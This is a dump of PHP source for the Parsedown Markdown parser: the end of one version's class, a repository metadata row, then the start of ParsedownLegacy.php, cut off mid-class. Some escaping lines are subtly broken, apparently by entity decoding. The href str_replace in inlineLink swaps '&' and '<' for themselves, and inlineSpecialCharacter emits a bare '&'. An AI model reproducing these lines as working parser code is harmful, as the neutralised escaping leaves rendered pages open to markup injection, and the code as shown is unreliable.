$Block['markup'] .= "\n".$Line['body'];
return $Block;
}
#
# Reference
protected function blockReference($Line)
{
if (preg_match('/^\[(.+?)\]:[ ]*<?(\S+?)>?(?:[ ]+["\'(](.+)["\')])?[ ]*$/', $Line['text'], $matches))
{
$id = strtolower($matches[1]);
$Data = array(
'url' => $matches[2],
'title' => null,
);
if (isset($matches[3]))
{
$Data['title'] = $matches[3];
}
$this->DefinitionData['Reference'][$id] = $Data;
$Block = array(
'hidden' => true,
);
return $Block;
}
}
#
# Table
protected function blockTable($Line, array $Block = null)
{
if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted']))
{
return;
}
if (strpos($Block['element']['text'], '|') !== false and chop($Line['text'], ' -:|') === '')
{
$alignments = array();
$divider = $Line['text'];
$divider = trim($divider);
$divider = trim($divider, '|');
$dividerCells = explode('|', $divider);
foreach ($dividerCells as $dividerCell)
{
$dividerCell = trim($dividerCell);
if ($dividerCell === '')
{
continue;
}
$alignment = null;
if ($dividerCell[0] === ':')
{
$alignment = 'left';
}
if (substr($dividerCell, - 1) === ':')
{
$alignment = $alignment === 'left' ? 'center' : 'right';
}
$alignments []= $alignment;
}
# ~
$HeaderElements = array();
$header = $Block['element']['text'];
$header = trim($header);
$header = trim($header, '|');
$headerCells = explode('|', $header);
foreach ($headerCells as $index => $headerCell)
{
$headerCell = trim($headerCell);
$HeaderElement = array(
'name' => 'th',
'text' => $headerCell,
'handler' => 'line',
);
if (isset($alignments[$index]))
{
$alignment = $alignments[$index];
$HeaderElement['attributes'] = array(
'style' => 'text-align: '.$alignment.';',
);
}
$HeaderElements []= $HeaderElement;
}
# ~
$Block = array(
'alignments' => $alignments,
'identified' => true,
'element' => array(
'name' => 'table',
'handler' => 'elements',
),
);
$Block['element']['text'] []= array(
'name' => 'thead',
'handler' => 'elements',
);
$Block['element']['text'] []= array(
'name' => 'tbody',
'handler' => 'elements',
'text' => array(),
);
$Block['element']['text'][0]['text'] []= array(
'name' => 'tr',
'handler' => 'elements',
'text' => $HeaderElements,
);
return $Block;
}
}
protected function blockTableContinue($Line, array $Block)
{
if (isset($Block['interrupted']))
{
return;
}
if ($Line['text'][0] === '|' or strpos($Line['text'], '|'))
{
$Elements = array();
$row = $Line['text'];
$row = trim($row);
$row = trim($row, '|');
preg_match_all('/(?:(\\\\[|])|[^|`]|`[^`]+`|`)+/', $row, $matches);
foreach ($matches[0] as $index => $cell)
{
$cell = trim($cell);
$Element = array(
'name' => 'td',
'handler' => 'line',
'text' => $cell,
);
if (isset($Block['alignments'][$index]))
{
$Element['attributes'] = array(
'style' => 'text-align: '.$Block['alignments'][$index].';',
);
}
$Elements []= $Element;
}
$Element = array(
'name' => 'tr',
'handler' => 'elements',
'text' => $Elements,
);
$Block['element']['text'][1]['text'] []= $Element;
return $Block;
}
}
#
# ~
#
protected function paragraph($Line)
{
$Block = array(
'element' => array(
'name' => 'p',
'text' => $Line['text'],
'handler' => 'line',
),
);
return $Block;
}
#
# Inline Elements
#
protected $InlineTypes = array(
'"' => array('SpecialCharacter'),
'!' => array('Image'),
'&' => array('SpecialCharacter'),
'*' => array('Emphasis'),
':' => array('Url'),
'<' => array('UrlTag', 'EmailTag', 'Markup', 'SpecialCharacter'),
'>' => array('SpecialCharacter'),
'[' => array('Link'),
'_' => array('Emphasis'),
'`' => array('Code'),
'~' => array('Strikethrough'),
'\\' => array('EscapeSequence'),
);
# ~
protected $inlineMarkerList = '!"*_&[:<>`~\\';
#
# ~
#
public function line($text)
{
$markup = '';
# $excerpt is based on the first occurrence of a marker
while ($excerpt = strpbrk($text, $this->inlineMarkerList))
{
$marker = $excerpt[0];
$markerPosition = strpos($text, $marker);
$Excerpt = array('text' => $excerpt, 'context' => $text);
foreach ($this->InlineTypes[$marker] as $inlineType)
{
$Inline = $this->{'inline'.$inlineType}($Excerpt);
if ( ! isset($Inline))
{
continue;
}
# makes sure that the inline belongs to "our" marker
if (isset($Inline['position']) and $Inline['position'] > $markerPosition)
{
continue;
}
# sets a default inline position
if ( ! isset($Inline['position']))
{
$Inline['position'] = $markerPosition;
}
# the text that comes before the inline
$unmarkedText = substr($text, 0, $Inline['position']);
# compile the unmarked text
$markup .= $this->unmarkedText($unmarkedText);
# compile the inline
$markup .= isset($Inline['markup']) ? $Inline['markup'] : $this->element($Inline['element']);
# remove the examined text
$text = substr($text, $Inline['position'] + $Inline['extent']);
continue 2;
}
# the marker does not belong to an inline
$unmarkedText = substr($text, 0, $markerPosition + 1);
$markup .= $this->unmarkedText($unmarkedText);
$text = substr($text, $markerPosition + 1);
}
$markup .= $this->unmarkedText($text);
return $markup;
}
#
# ~
#
protected function inlineCode($Excerpt)
{
$marker = $Excerpt['text'][0];
if (preg_match('/^('.$marker.'+)[ ]*(.+?)[ ]*(?<!'.$marker.')\1(?!'.$marker.')/s', $Excerpt['text'], $matches))
{
$text = $matches[2];
$text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8');
$text = preg_replace("/[ ]*\n/", ' ', $text);
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => 'code',
'text' => $text,
),
);
}
}
protected function inlineEmailTag($Excerpt)
{
if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<((mailto:)?\S+?@\S+?)>/i', $Excerpt['text'], $matches))
{
$url = $matches[1];
if ( ! isset($matches[2]))
{
$url = 'mailto:' . $url;
}
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => 'a',
'text' => $matches[1],
'attributes' => array(
'href' => $url,
),
),
);
}
}
protected function inlineEmphasis($Excerpt)
{
if ( ! isset($Excerpt['text'][1]))
{
return;
}
$marker = $Excerpt['text'][0];
if ($Excerpt['text'][1] === $marker and preg_match($this->StrongRegex[$marker], $Excerpt['text'], $matches))
{
$emphasis = 'strong';
}
elseif (preg_match($this->EmRegex[$marker], $Excerpt['text'], $matches))
{
$emphasis = 'em';
}
else
{
return;
}
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => $emphasis,
'handler' => 'line',
'text' => $matches[1],
),
);
}
protected function inlineEscapeSequence($Excerpt)
{
if (isset($Excerpt['text'][1]) and in_array($Excerpt['text'][1], $this->specialCharacters))
{
return array(
'markup' => $Excerpt['text'][1],
'extent' => 2,
);
}
}
protected function inlineImage($Excerpt)
{
if ( ! isset($Excerpt['text'][1]) or $Excerpt['text'][1] !== '[')
{
return;
}
$Excerpt['text']= substr($Excerpt['text'], 1);
$Link = $this->inlineLink($Excerpt);
if ($Link === null)
{
return;
}
$Inline = array(
'extent' => $Link['extent'] + 1,
'element' => array(
'name' => 'img',
'attributes' => array(
'src' => $Link['element']['attributes']['href'],
'alt' => $Link['element']['text'],
),
),
);
$Inline['element']['attributes'] += $Link['element']['attributes'];
unset($Inline['element']['attributes']['href']);
return $Inline;
}
protected function inlineLink($Excerpt)
{
$Element = array(
'name' => 'a',
'handler' => 'line',
'text' => null,
'attributes' => array(
'href' => null,
'title' => null,
),
);
$extent = 0;
$remainder = $Excerpt['text'];
if (preg_match('/\[((?:[^][]|(?R))*)\]/', $remainder, $matches))
{
$Element['text'] = $matches[1];
$extent += strlen($matches[0]);
$remainder = substr($remainder, $extent);
}
else
{
return;
}
if (preg_match('/^[(]((?:[^ ()]|[(][^ )]+[)])+)(?:[ ]+("[^"]*"|\'[^\']*\'))?[)]/', $remainder, $matches))
{
$Element['attributes']['href'] = $matches[1];
if (isset($matches[2]))
{
$Element['attributes']['title'] = substr($matches[2], 1, - 1);
}
$extent += strlen($matches[0]);
}
else
{
if (preg_match('/^\s*\[(.*?)\]/', $remainder, $matches))
{
$definition = strlen($matches[1]) ? $matches[1] : $Element['text'];
$definition = strtolower($definition);
$extent += strlen($matches[0]);
}
else
{
$definition = strtolower($Element['text']);
}
if ( ! isset($this->DefinitionData['Reference'][$definition]))
{
return;
}
$Definition = $this->DefinitionData['Reference'][$definition];
$Element['attributes']['href'] = $Definition['url'];
$Element['attributes']['title'] = $Definition['title'];
}
$Element['attributes']['href'] = str_replace(array('&', '<'), array('&', '<'), $Element['attributes']['href']);
return array(
'extent' => $extent,
'element' => $Element,
);
}
protected function inlineMarkup($Excerpt)
{
if ($this->markupEscaped or strpos($Excerpt['text'], '>') === false)
{
return;
}
if ($Excerpt['text'][1] === '/' and preg_match('/^<\/\w*[ ]*>/s', $Excerpt['text'], $matches))
{
return array(
'markup' => $matches[0],
'extent' => strlen($matches[0]),
);
}
if ($Excerpt['text'][1] === '!' and preg_match('/^<!---?[^>-](?:-?[^-])*-->/s', $Excerpt['text'], $matches))
{
return array(
'markup' => $matches[0],
'extent' => strlen($matches[0]),
);
}
if ($Excerpt['text'][1] !== ' ' and preg_match('/^<\w*(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*\/?>/s', $Excerpt['text'], $matches))
{
return array(
'markup' => $matches[0],
'extent' => strlen($matches[0]),
);
}
}
protected function inlineSpecialCharacter($Excerpt)
{
if ($Excerpt['text'][0] === '&' and ! preg_match('/^&#?\w+;/', $Excerpt['text']))
{
return array(
'markup' => '&',
'extent' => 1,
);
}
$SpecialCharacter = array('>' => 'gt', '<' => 'lt', '"' => 'quot');
if (isset($SpecialCharacter[$Excerpt['text'][0]]))
{
return array(
'markup' => '&'.$SpecialCharacter[$Excerpt['text'][0]].';',
'extent' => 1,
);
}
}
protected function inlineStrikethrough($Excerpt)
{
if ( ! isset($Excerpt['text'][1]))
{
return;
}
if ($Excerpt['text'][1] === '~' and preg_match('/^~~(?=\S)(.+?)(?<=\S)~~/', $Excerpt['text'], $matches))
{
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => 'del',
'text' => $matches[1],
'handler' => 'line',
),
);
}
}
protected function inlineUrl($Excerpt)
{
if ($this->urlsLinked !== true or ! isset($Excerpt['text'][2]) or $Excerpt['text'][2] !== '/')
{
return;
}
if (preg_match('/\bhttps?:[\/]{2}[^\s<]+\b\/*/ui', $Excerpt['context'], $matches, PREG_OFFSET_CAPTURE))
{
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | true |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/update/vendor/ParsedownLegacy.php | admin/update/vendor/ParsedownLegacy.php | <?php
#
#
# Parsedown
# http://parsedown.org
#
# (c) Emanuil Rusev
# http://erusev.com
#
# For the full license information, view the LICENSE file that was distributed
# with this source code.
#
#
class Parsedown
{
# ~
const version = '1.5.0';
# ~
function text($text)
{
# make sure no definitions are set
$this->DefinitionData = array();
# standardize line breaks
$text = str_replace(array("\r\n", "\r"), "\n", $text);
# remove surrounding line breaks
$text = trim($text, "\n");
# split text into lines
$lines = explode("\n", $text);
# iterate through lines to identify blocks
$markup = $this->lines($lines);
# trim line breaks
$markup = trim($markup, "\n");
return $markup;
}
#
# Setters
#
function setBreaksEnabled($breaksEnabled)
{
$this->breaksEnabled = $breaksEnabled;
return $this;
}
protected $breaksEnabled;
function setMarkupEscaped($markupEscaped)
{
$this->markupEscaped = $markupEscaped;
return $this;
}
protected $markupEscaped;
function setUrlsLinked($urlsLinked)
{
$this->urlsLinked = $urlsLinked;
return $this;
}
protected $urlsLinked = true;
#
# Lines
#
protected $BlockTypes = array(
'#' => array('Header'),
'*' => array('Rule', 'List'),
'+' => array('List'),
'-' => array('SetextHeader', 'Table', 'Rule', 'List'),
'0' => array('List'),
'1' => array('List'),
'2' => array('List'),
'3' => array('List'),
'4' => array('List'),
'5' => array('List'),
'6' => array('List'),
'7' => array('List'),
'8' => array('List'),
'9' => array('List'),
':' => array('Table'),
'<' => array('Comment', 'Markup'),
'=' => array('SetextHeader'),
'>' => array('Quote'),
'[' => array('Reference'),
'_' => array('Rule'),
'`' => array('FencedCode'),
'|' => array('Table'),
'~' => array('FencedCode'),
);
# ~
protected $DefinitionTypes = array(
'[' => array('Reference'),
);
# ~
protected $unmarkedBlockTypes = array(
'Code',
);
#
# Blocks
#
private function lines(array $lines)
{
$CurrentBlock = null;
foreach ($lines as $line)
{
if (chop($line) === '')
{
if (isset($CurrentBlock))
{
$CurrentBlock['interrupted'] = true;
}
continue;
}
if (strpos($line, "\t") !== false)
{
$parts = explode("\t", $line);
$line = $parts[0];
unset($parts[0]);
foreach ($parts as $part)
{
$shortage = 4 - mb_strlen($line, 'utf-8') % 4;
$line .= str_repeat(' ', $shortage);
$line .= $part;
}
}
$indent = 0;
while (isset($line[$indent]) and $line[$indent] === ' ')
{
$indent ++;
}
$text = $indent > 0 ? substr($line, $indent) : $line;
# ~
$Line = array('body' => $line, 'indent' => $indent, 'text' => $text);
# ~
if (isset($CurrentBlock['incomplete']))
{
$Block = $this->{'block'.$CurrentBlock['type'].'Continue'}($Line, $CurrentBlock);
if (isset($Block))
{
$CurrentBlock = $Block;
continue;
}
else
{
if (method_exists($this, 'block'.$CurrentBlock['type'].'Complete'))
{
$CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock);
}
unset($CurrentBlock['incomplete']);
}
}
# ~
$marker = $text[0];
# ~
$blockTypes = $this->unmarkedBlockTypes;
if (isset($this->BlockTypes[$marker]))
{
foreach ($this->BlockTypes[$marker] as $blockType)
{
$blockTypes []= $blockType;
}
}
#
# ~
foreach ($blockTypes as $blockType)
{
$Block = $this->{'block'.$blockType}($Line, $CurrentBlock);
if (isset($Block))
{
$Block['type'] = $blockType;
if ( ! isset($Block['identified']))
{
$Blocks []= $CurrentBlock;
$Block['identified'] = true;
}
if (method_exists($this, 'block'.$blockType.'Continue'))
{
$Block['incomplete'] = true;
}
$CurrentBlock = $Block;
continue 2;
}
}
# ~
if (isset($CurrentBlock) and ! isset($CurrentBlock['type']) and ! isset($CurrentBlock['interrupted']))
{
$CurrentBlock['element']['text'] .= "\n".$text;
}
else
{
$Blocks []= $CurrentBlock;
$CurrentBlock = $this->paragraph($Line);
$CurrentBlock['identified'] = true;
}
}
# ~
if (isset($CurrentBlock['incomplete']) and method_exists($this, 'block'.$CurrentBlock['type'].'Complete'))
{
$CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock);
}
# ~
$Blocks []= $CurrentBlock;
unset($Blocks[0]);
# ~
$markup = '';
foreach ($Blocks as $Block)
{
if (isset($Block['hidden']))
{
continue;
}
$markup .= "\n";
$markup .= isset($Block['markup']) ? $Block['markup'] : $this->element($Block['element']);
}
$markup .= "\n";
# ~
return $markup;
}
#
# Code
protected function blockCode($Line, $Block = null)
{
if (isset($Block) and ! isset($Block['type']) and ! isset($Block['interrupted']))
{
return;
}
if ($Line['indent'] >= 4)
{
$text = substr($Line['body'], 4);
$Block = array(
'element' => array(
'name' => 'pre',
'handler' => 'element',
'text' => array(
'name' => 'code',
'text' => $text,
),
),
);
return $Block;
}
}
protected function blockCodeContinue($Line, $Block)
{
if ($Line['indent'] >= 4)
{
if (isset($Block['interrupted']))
{
$Block['element']['text']['text'] .= "\n";
unset($Block['interrupted']);
}
$Block['element']['text']['text'] .= "\n";
$text = substr($Line['body'], 4);
$Block['element']['text']['text'] .= $text;
return $Block;
}
}
protected function blockCodeComplete($Block)
{
$text = $Block['element']['text']['text'];
$text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8');
$Block['element']['text']['text'] = $text;
return $Block;
}
#
# Comment
protected function blockComment($Line)
{
if ($this->markupEscaped)
{
return;
}
if (isset($Line['text'][3]) and $Line['text'][3] === '-' and $Line['text'][2] === '-' and $Line['text'][1] === '!')
{
$Block = array(
'markup' => $Line['body'],
);
if (preg_match('/-->$/', $Line['text']))
{
$Block['closed'] = true;
}
return $Block;
}
}
protected function blockCommentContinue($Line, array $Block)
{
if (isset($Block['closed']))
{
return;
}
$Block['markup'] .= "\n" . $Line['body'];
if (preg_match('/-->$/', $Line['text']))
{
$Block['closed'] = true;
}
return $Block;
}
#
# Fenced Code
protected function blockFencedCode($Line)
{
if (preg_match('/^(['.$Line['text'][0].']{3,})[ ]*([\w-]+)?[ ]*$/', $Line['text'], $matches))
{
$Element = array(
'name' => 'code',
'text' => '',
);
if (isset($matches[2]))
{
$class = 'language-'.$matches[2];
$Element['attributes'] = array(
'class' => $class,
);
}
$Block = array(
'char' => $Line['text'][0],
'element' => array(
'name' => 'pre',
'handler' => 'element',
'text' => $Element,
),
);
return $Block;
}
}
protected function blockFencedCodeContinue($Line, $Block)
{
if (isset($Block['complete']))
{
return;
}
if (isset($Block['interrupted']))
{
$Block['element']['text']['text'] .= "\n";
unset($Block['interrupted']);
}
if (preg_match('/^'.$Block['char'].'{3,}[ ]*$/', $Line['text']))
{
$Block['element']['text']['text'] = substr($Block['element']['text']['text'], 1);
$Block['complete'] = true;
return $Block;
}
$Block['element']['text']['text'] .= "\n".$Line['body'];;
return $Block;
}
protected function blockFencedCodeComplete($Block)
{
$text = $Block['element']['text']['text'];
$text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8');
$Block['element']['text']['text'] = $text;
return $Block;
}
#
# Header
protected function blockHeader($Line)
{
if (isset($Line['text'][1]))
{
$level = 1;
while (isset($Line['text'][$level]) and $Line['text'][$level] === '#')
{
$level ++;
}
if ($level > 6)
{
return;
}
$text = trim($Line['text'], '# ');
$Block = array(
'element' => array(
'name' => 'h' . min(6, $level),
'text' => $text,
'handler' => 'line',
),
);
return $Block;
}
}
#
# List
protected function blockList($Line)
{
list($name, $pattern) = $Line['text'][0] <= '-' ? array('ul', '[*+-]') : array('ol', '[0-9]+[.]');
if (preg_match('/^('.$pattern.'[ ]+)(.*)/', $Line['text'], $matches))
{
$Block = array(
'indent' => $Line['indent'],
'pattern' => $pattern,
'element' => array(
'name' => $name,
'handler' => 'elements',
),
);
$Block['li'] = array(
'name' => 'li',
'handler' => 'li',
'text' => array(
$matches[2],
),
);
$Block['element']['text'] []= & $Block['li'];
return $Block;
}
}
protected function blockListContinue($Line, array $Block)
{
if ($Block['indent'] === $Line['indent'] and preg_match('/^'.$Block['pattern'].'(?:[ ]+(.*)|$)/', $Line['text'], $matches))
{
if (isset($Block['interrupted']))
{
$Block['li']['text'] []= '';
unset($Block['interrupted']);
}
unset($Block['li']);
$text = isset($matches[1]) ? $matches[1] : '';
$Block['li'] = array(
'name' => 'li',
'handler' => 'li',
'text' => array(
$text,
),
);
$Block['element']['text'] []= & $Block['li'];
return $Block;
}
if ($Line['text'][0] === '[' and $this->blockReference($Line))
{
return $Block;
}
if ( ! isset($Block['interrupted']))
{
$text = preg_replace('/^[ ]{0,4}/', '', $Line['body']);
$Block['li']['text'] []= $text;
return $Block;
}
if ($Line['indent'] > 0)
{
$Block['li']['text'] []= '';
$text = preg_replace('/^[ ]{0,4}/', '', $Line['body']);
$Block['li']['text'] []= $text;
unset($Block['interrupted']);
return $Block;
}
}
#
# Quote
protected function blockQuote($Line)
{
if (preg_match('/^>[ ]?(.*)/', $Line['text'], $matches))
{
$Block = array(
'element' => array(
'name' => 'blockquote',
'handler' => 'lines',
'text' => (array) $matches[1],
),
);
return $Block;
}
}
protected function blockQuoteContinue($Line, array $Block)
{
if ($Line['text'][0] === '>' and preg_match('/^>[ ]?(.*)/', $Line['text'], $matches))
{
if (isset($Block['interrupted']))
{
$Block['element']['text'] []= '';
unset($Block['interrupted']);
}
$Block['element']['text'] []= $matches[1];
return $Block;
}
if ( ! isset($Block['interrupted']))
{
$Block['element']['text'] []= $Line['text'];
return $Block;
}
}
#
# Rule
protected function blockRule($Line)
{
if (preg_match('/^(['.$Line['text'][0].'])([ ]*\1){2,}[ ]*$/', $Line['text']))
{
$Block = array(
'element' => array(
'name' => 'hr'
),
);
return $Block;
}
}
#
# Setext
protected function blockSetextHeader($Line, array $Block = null)
{
if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted']))
{
return;
}
if (chop($Line['text'], $Line['text'][0]) === '')
{
$Block['element']['name'] = $Line['text'][0] === '=' ? 'h1' : 'h2';
return $Block;
}
}
#
# Markup
protected function blockMarkup($Line)
{
if ($this->markupEscaped)
{
return;
}
if (preg_match('/^<(\w*)(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*(\/)?>/', $Line['text'], $matches))
{
if (in_array($matches[1], $this->textLevelElements))
{
return;
}
$Block = array(
'name' => $matches[1],
'depth' => 0,
'markup' => $Line['text'],
);
$length = strlen($matches[0]);
$remainder = substr($Line['text'], $length);
if (trim($remainder) === '')
{
if (isset($matches[2]) or in_array($matches[1], $this->voidElements))
{
$Block['closed'] = true;
$Block['void'] = true;
}
}
else
{
if (isset($matches[2]) or in_array($matches[1], $this->voidElements))
{
return;
}
if (preg_match('/<\/'.$matches[1].'>[ ]*$/i', $remainder))
{
$Block['closed'] = true;
}
}
return $Block;
}
}
protected function blockMarkupContinue($Line, array $Block)
{
if (isset($Block['closed']))
{
return;
}
if (preg_match('/^<'.$Block['name'].'(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*>/i', $Line['text'])) # open
{
$Block['depth'] ++;
}
if (preg_match('/(.*?)<\/'.$Block['name'].'>[ ]*$/i', $Line['text'], $matches)) # close
{
if ($Block['depth'] > 0)
{
$Block['depth'] --;
}
else
{
$Block['closed'] = true;
}
$Block['markup'] .= $matches[1];
}
if (isset($Block['interrupted']))
{
$Block['markup'] .= "\n";
unset($Block['interrupted']);
}
$Block['markup'] .= "\n".$Line['body'];
return $Block;
}
#
# Reference
protected function blockReference($Line)
{
if (preg_match('/^\[(.+?)\]:[ ]*<?(\S+?)>?(?:[ ]+["\'(](.+)["\')])?[ ]*$/', $Line['text'], $matches))
{
$id = strtolower($matches[1]);
$Data = array(
'url' => $matches[2],
'title' => null,
);
if (isset($matches[3]))
{
$Data['title'] = $matches[3];
}
$this->DefinitionData['Reference'][$id] = $Data;
$Block = array(
'hidden' => true,
);
return $Block;
}
}
#
# Table
protected function blockTable($Line, array $Block = null)
{
if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted']))
{
return;
}
if (strpos($Block['element']['text'], '|') !== false and chop($Line['text'], ' -:|') === '')
{
$alignments = array();
$divider = $Line['text'];
$divider = trim($divider);
$divider = trim($divider, '|');
$dividerCells = explode('|', $divider);
foreach ($dividerCells as $dividerCell)
{
$dividerCell = trim($dividerCell);
if ($dividerCell === '')
{
continue;
}
$alignment = null;
if ($dividerCell[0] === ':')
{
$alignment = 'left';
}
if (substr($dividerCell, - 1) === ':')
{
$alignment = $alignment === 'left' ? 'center' : 'right';
}
$alignments []= $alignment;
}
# ~
$HeaderElements = array();
$header = $Block['element']['text'];
$header = trim($header);
$header = trim($header, '|');
$headerCells = explode('|', $header);
foreach ($headerCells as $index => $headerCell)
{
$headerCell = trim($headerCell);
$HeaderElement = array(
'name' => 'th',
'text' => $headerCell,
'handler' => 'line',
);
if (isset($alignments[$index]))
{
$alignment = $alignments[$index];
$HeaderElement['attributes'] = array(
'style' => 'text-align: '.$alignment.';',
);
}
$HeaderElements []= $HeaderElement;
}
# ~
$Block = array(
'alignments' => $alignments,
'identified' => true,
'element' => array(
'name' => 'table',
'handler' => 'elements',
),
);
$Block['element']['text'] []= array(
'name' => 'thead',
'handler' => 'elements',
);
$Block['element']['text'] []= array(
'name' => 'tbody',
'handler' => 'elements',
'text' => array(),
);
$Block['element']['text'][0]['text'] []= array(
'name' => 'tr',
'handler' => 'elements',
'text' => $HeaderElements,
);
return $Block;
}
}
protected function blockTableContinue($Line, array $Block)
{
if (isset($Block['interrupted']))
{
return;
}
if ($Line['text'][0] === '|' or strpos($Line['text'], '|'))
{
$Elements = array();
$row = $Line['text'];
$row = trim($row);
$row = trim($row, '|');
preg_match_all('/(?:(\\\\[|])|[^|`]|`[^`]+`|`)+/', $row, $matches);
foreach ($matches[0] as $index => $cell)
{
$cell = trim($cell);
$Element = array(
'name' => 'td',
'handler' => 'line',
'text' => $cell,
);
if (isset($Block['alignments'][$index]))
{
$Element['attributes'] = array(
'style' => 'text-align: '.$Block['alignments'][$index].';',
);
}
$Elements []= $Element;
}
$Element = array(
'name' => 'tr',
'handler' => 'elements',
'text' => $Elements,
);
$Block['element']['text'][1]['text'] []= $Element;
return $Block;
}
}
#
# ~
#
protected function paragraph($Line)
{
$Block = array(
'element' => array(
'name' => 'p',
'text' => $Line['text'],
'handler' => 'line',
),
);
return $Block;
}
#
# Inline Elements
#
protected $InlineTypes = array(
'"' => array('SpecialCharacter'),
'!' => array('Image'),
'&' => array('SpecialCharacter'),
'*' => array('Emphasis'),
':' => array('Url'),
'<' => array('UrlTag', 'EmailTag', 'Markup', 'SpecialCharacter'),
'>' => array('SpecialCharacter'),
'[' => array('Link'),
'_' => array('Emphasis'),
'`' => array('Code'),
'~' => array('Strikethrough'),
'\\' => array('EscapeSequence'),
);
# ~
protected $inlineMarkerList = '!"*_&[:<>`~\\';
#
# ~
#
public function line($text)
{
$markup = '';
$unexaminedText = $text;
$markerPosition = 0;
while ($excerpt = strpbrk($unexaminedText, $this->inlineMarkerList))
{
$marker = $excerpt[0];
$markerPosition += strpos($unexaminedText, $marker);
$Excerpt = array('text' => $excerpt, 'context' => $text);
foreach ($this->InlineTypes[$marker] as $inlineType)
{
$Inline = $this->{'inline'.$inlineType}($Excerpt);
if ( ! isset($Inline))
{
continue;
}
if (isset($Inline['position']) and $Inline['position'] > $markerPosition) # position is ahead of marker
{
continue;
}
if ( ! isset($Inline['position']))
{
$Inline['position'] = $markerPosition;
}
$unmarkedText = substr($text, 0, $Inline['position']);
$markup .= $this->unmarkedText($unmarkedText);
$markup .= isset($Inline['markup']) ? $Inline['markup'] : $this->element($Inline['element']);
$text = substr($text, $Inline['position'] + $Inline['extent']);
$unexaminedText = $text;
$markerPosition = 0;
continue 2;
}
$unexaminedText = substr($excerpt, 1);
$markerPosition ++;
}
$markup .= $this->unmarkedText($text);
return $markup;
}
#
# ~
#
protected function inlineCode($Excerpt)
{
$marker = $Excerpt['text'][0];
if (preg_match('/^('.$marker.'+)[ ]*(.+?)[ ]*(?<!'.$marker.')\1(?!'.$marker.')/s', $Excerpt['text'], $matches))
{
$text = $matches[2];
$text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8');
$text = preg_replace("/[ ]*\n/", ' ', $text);
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => 'code',
'text' => $text,
),
);
}
}
protected function inlineEmailTag($Excerpt)
{
if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<((mailto:)?\S+?@\S+?)>/i', $Excerpt['text'], $matches))
{
$url = $matches[1];
if ( ! isset($matches[2]))
{
$url = 'mailto:' . $url;
}
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => 'a',
'text' => $matches[1],
'attributes' => array(
'href' => $url,
),
),
);
}
}
protected function inlineEmphasis($Excerpt)
{
if ( ! isset($Excerpt['text'][1]))
{
return;
}
$marker = $Excerpt['text'][0];
if ($Excerpt['text'][1] === $marker and preg_match($this->StrongRegex[$marker], $Excerpt['text'], $matches))
{
$emphasis = 'strong';
}
elseif (preg_match($this->EmRegex[$marker], $Excerpt['text'], $matches))
{
$emphasis = 'em';
}
else
{
return;
}
return array(
'extent' => strlen($matches[0]),
'element' => array(
'name' => $emphasis,
'handler' => 'line',
'text' => $matches[1],
),
);
}
protected function inlineEscapeSequence($Excerpt)
{
if (isset($Excerpt['text'][1]) and in_array($Excerpt['text'][1], $this->specialCharacters))
{
return array(
'markup' => $Excerpt['text'][1],
'extent' => 2,
);
}
}
protected function inlineImage($Excerpt)
{
if ( ! isset($Excerpt['text'][1]) or $Excerpt['text'][1] !== '[')
{
return;
}
$Excerpt['text']= substr($Excerpt['text'], 1);
$Link = $this->inlineLink($Excerpt);
if ($Link === null)
{
return;
}
$Inline = array(
'extent' => $Link['extent'] + 1,
'element' => array(
'name' => 'img',
'attributes' => array(
'src' => $Link['element']['attributes']['href'],
'alt' => $Link['element']['text'],
),
),
);
$Inline['element']['attributes'] += $Link['element']['attributes'];
unset($Inline['element']['attributes']['href']);
return $Inline;
}
protected function inlineLink($Excerpt)
{
$Element = array(
'name' => 'a',
'handler' => 'line',
'text' => null,
'attributes' => array(
'href' => null,
'title' => null,
),
);
$extent = 0;
$remainder = $Excerpt['text'];
if (preg_match('/\[((?:[^][]|(?R))*)\]/', $remainder, $matches))
{
$Element['text'] = $matches[1];
$extent += strlen($matches[0]);
$remainder = substr($remainder, $extent);
}
else
{
return;
}
if (preg_match('/^[(]((?:[^ (]|[(][^ )]+[)])+)(?:[ ]+("[^"]+"|\'[^\']+\'))?[)]/', $remainder, $matches))
{
$Element['attributes']['href'] = $matches[1];
if (isset($matches[2]))
{
$Element['attributes']['title'] = substr($matches[2], 1, - 1);
}
$extent += strlen($matches[0]);
}
else
{
if (preg_match('/^\s*\[(.*?)\]/', $remainder, $matches))
{
$definition = $matches[1] ? $matches[1] : $Element['text'];
$definition = strtolower($definition);
$extent += strlen($matches[0]);
}
else
{
$definition = strtolower($Element['text']);
}
if ( ! isset($this->DefinitionData['Reference'][$definition]))
{
return;
}
$Definition = $this->DefinitionData['Reference'][$definition];
$Element['attributes']['href'] = $Definition['url'];
$Element['attributes']['title'] = $Definition['title'];
}
$Element['attributes']['href'] = str_replace(array('&', '<'), array('&', '<'), $Element['attributes']['href']);
return array(
'extent' => $extent,
'element' => $Element,
);
}
protected function inlineMarkup($Excerpt)
{
if ($this->markupEscaped or strpos($Excerpt['text'], '>') === false)
{
return;
}
if ($Excerpt['text'][1] === '/' and preg_match('/^<\/\w*[ ]*>/s', $Excerpt['text'], $matches))
{
return array(
'markup' => $matches[0],
'extent' => strlen($matches[0]),
);
}
if ($Excerpt['text'][1] === '!' and preg_match('/^<!---?[^>-](?:-?[^-])*-->/s', $Excerpt['text'], $matches))
{
return array(
'markup' => $matches[0],
'extent' => strlen($matches[0]),
);
}
